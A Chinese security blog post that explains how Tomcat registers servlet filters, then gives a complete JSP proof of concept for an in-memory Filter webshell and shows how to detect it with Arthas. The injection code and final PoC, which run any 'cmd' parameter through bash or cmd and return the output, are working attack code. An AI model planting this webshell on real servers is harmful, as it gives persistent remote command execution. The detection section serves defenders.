查看原文
其他

原创 | Filter内存马及工具检测

Sentiment SecIN技术平台 2024-05-25

点击蓝字




关注我们



原理

Servlet 有自己的过滤器filter,可以通过自定义的过滤器,来对用户的请求进行拦截等操作。


经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell,所以就需要我们想办法在最前方注册一个恶意的filter并执行。


Filter注册流程


先看一个正常的demo

filter.java
package memoryshell;
import javax.servlet.*;import java.io.IOException;
public class filter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始化创建"); }
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤操作"); filterChain.doFilter(servletRequest,servletResponse); }
public void destroy() { System.out.println("Filter 销毁"); }}''    ]]
web.xml
<filter> <filter-name>filter</filter-name> <filter-class>memoryshell.filter</filter-class></filter><filter-mapping> <filter-name>filter</filter-name> <url-pattern>/*</url-pattern></filter-mapping
运行后成功触发
之后再看几个会用到的类:
  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml:存放 web.xml 中内容的类
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet


接下来我们来分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的

调用栈

doFilter:13, filter (memoryshell)internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)doFilter:162, ApplicationFilterChain (org.apache.catalina.core)invoke:197, StandardWrapperValve (org.apache.catalina.core)invoke:97, StandardContextValve (org.apache.catalina.core)invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)invoke:135, StandardHostValve (org.apache.catalina.core)invoke:92, ErrorReportValve (org.apache.catalina.valves)invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)invoke:78, StandardEngineValve (org.apache.catalina.core)service:360, CoyoteAdapter (org.apache.catalina.connector)service:399, Http11Processor (org.apache.coyote.http11)process:65, AbstractProcessorLight (org.apache.coyote)process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)doRun:1743, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)run:49, SocketProcessorBase (org.apache.tomcat.util.net)runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)run:745, Thread (java.lang)
可以看到在StandardWrapperValve#invoke中,通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain,其中包含了filters有两个值,而第一个值就包含了我们传入的自定义filter
跟进createFilterChain(),获取了request请求,在通过该请求获取了filterChain
再往下看,context获取了一个StandardContext()对象,接着用context获取了filterMaps主要就是filtername和path
之后经过循环逐一将filterMaps的值传入filterConfig,最后通过addFilter将其传入filterChain

跟进addFilter(),最后将值赋给了filters中

之后回到createFilterChain()的部分继续往下看,调用了filterChain的doFilter
跟进doFilter,最后的else部分调用了:
internalDoFilter(request,response);

跟进internalDoFilter(),将上边createFilterChain(),获取的filters[pos++]值传入filterConfig,接着传入filter,而这个filter也就是我们自定义的那个,所以最后执行filter.doFilter后,便跳转到了我们自定义的doFilter方法中输出了 ”执行过滤操作“


Filter内存马注入


在上边提到了这两行,当构造我们的filter链的时候 ,是从context中获取到的 FiltersMaps

StandardContext context = (StandardContext) wrapper.getParent();FilterMap filterMaps[] = context.findFilterMaps();
当我们能直接获取 request 的时候,我们这里可以直接将我们的 ServletContext 转为 StandardContext 从而获取 context
当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用
ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);// ApplicationContext 为 ServletContext 的实现类ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);// 这样我们就获取到了 context StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

还有其他的获取方法:

从线程中获取StandardContext

如果没有request对象的话可以从当前线程中获取

https://zhuanlan.zhihu.com/p/114625962
从MBean中获取
https://scriptboy.cn/p/tomcat-filter-inject/

获取Context后,发现这参数跟我们的fileter有关,所以尝试控制这部分注入内存马

  • filterMaps:一个HashMap对象,包含过滤器名字和URL映射

  • filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射

  • filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs


大致流程:

  • Filter

  • 利用 FilterDef 对 Filter 进行一个封装

  • 将 FilterDef 添加到 FilterDefs 和 FilterConfig

  • 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)


每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);// 首先判断名字是否存在,如果不存在我们就进行注入 if (filterConfigs.get(name) == null){ // 创建恶意 Filter Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}
};
/** * 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类 */ FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中 standardContext.addFilterDef(filterDef);
/** * 创建一个filtermap * 设置filter的名字和对应的urlpattern */ FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name);// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3 filterMap.setDispatcher(DispatcherType.REQUEST.name()); /** * 将filtermap 添加到 filterMaps 中的第一个位置 */ standardContext.addFilterMapBefore(filterMap);
/** * 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入 */ Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
/** * 将 name 和 filterConfig 作为 key-value进行传入 */ filterConfigs.put(name,filterConfig); out.print("Inject Success !");}
最终poc
<%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.util.Map" %><%@ page import="java.io.IOException" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.Context" %><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "Sentiment"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; //Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}
};

FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); out.print("Inject Success !"); }%>

注入成功,这里用到的是windows命令,linux命令需要用上边注释的那条


内存马检测工具

arthas:

https://arthas.aliyun.com/arthas-boot.jar

alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)
java -jar arthas-boot.jar

选择我们 Tomcat 的进程

输入1进入进程

利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类
利用jad --source-only org.apache.jsp.filter_jsp\$1 直接将 Class 进行反编译

可以监控进程,当我们访问 url 就会输出监控结果watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'

D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar[INFO] arthas-boot version: 3.6.2[INFO] Process 13212 already using port 3658[INFO] Process 13212 already using port 8563[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.* [1]: 13212 org.apache.catalina.startup.Bootstrap [2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36 [3]: 11480 org.jetbrains.jps.cmdline.Launcher [4]: 199161[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas[INFO] The target process already listen port 3658, skip attach.[INFO] arthas-client connect 127.0.0.1 3658 ,---. ,------. ,--------.,--. ,--. ,---. ,---. / O \ | .--. ''--. .--'| '--' | / O \ ' .-'| .-. || '--'.' | | | .--. || .-. |`. `-.| | | || |\ \ | | | | | || | | |.-' |`--' `--'`--' '--' `--' `--' `--'`--' `--'`-----'
wiki https://arthas.aliyun.com/doctutorials https://arthas.aliyun.com/doc/arthas-tutorials.htmlversion 3.6.2main_classpid 13212time 2022-07-17 12:10:04
[arthas@13212]$ sc *.Filtercom.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFiltercom.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFiltercom.alibaba.arthas.deps.ch.qos.logback.core.filter.Filterjavax.servlet.Filterjavax.servlet.GenericFiltermemoryshell.filterorg.apache.catalina.filters.CsrfPreventionFilterorg.apache.catalina.filters.CsrfPreventionFilterBaseorg.apache.catalina.filters.FilterBaseorg.apache.catalina.filters.HttpHeaderSecurityFilterorg.apache.jsp.filter_jsp$1org.apache.tomcat.websocket.server.WsFilterAffect(row-cnt:12) cost in 7 ms.[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1 /* * Decompiled with CFR. * * Could not load the following classes: * javax.servlet.Filter * javax.servlet.FilterChain * javax.servlet.FilterConfig * javax.servlet.ServletException * javax.servlet.ServletRequest * javax.servlet.ServletResponse * javax.servlet.http.HttpServletRequest */ package org.apache.jsp;
import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest;
class filter_jsp.1 implements Filter { filter_jsp.1() { }
public void init(FilterConfig filterConfig) throws ServletException { }
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {/*173*/ HttpServletRequest req = (HttpServletRequest)servletRequest;/*174*/ if (req.getParameter("cmd") != null) {/*175*/ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();/*178*/ int len = process.getInputStream().read(bytes);/*179*/ servletResponse.getWriter().write(new String(bytes, 0, len));/*180*/ process.destroy();/*181*/ return; }/*183*/ filterChain.doFilter(servletRequest, servletResponse); }
public void destroy() { } }
[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'Press Q or Ctrl+C to abort.Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExitts=2022-07-17 12:23:35; [cost=0.7065ms] result=@ArrayList[ @String[org.apache.jsp.filter_jsp$1], @String[memoryshell.filter], @String[org.apache.tomcat.websocket.server.WsFilter],]


往期推荐



原创 | 缓冲区溢出漏洞那些事:验证与危害判定篇(文末福利)

原创 | 某厂商数据库审计系统前台RCE挖掘之旅

原创 | Spring Cloud GateWay CVE-2022-22947 SPEL RCE


继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存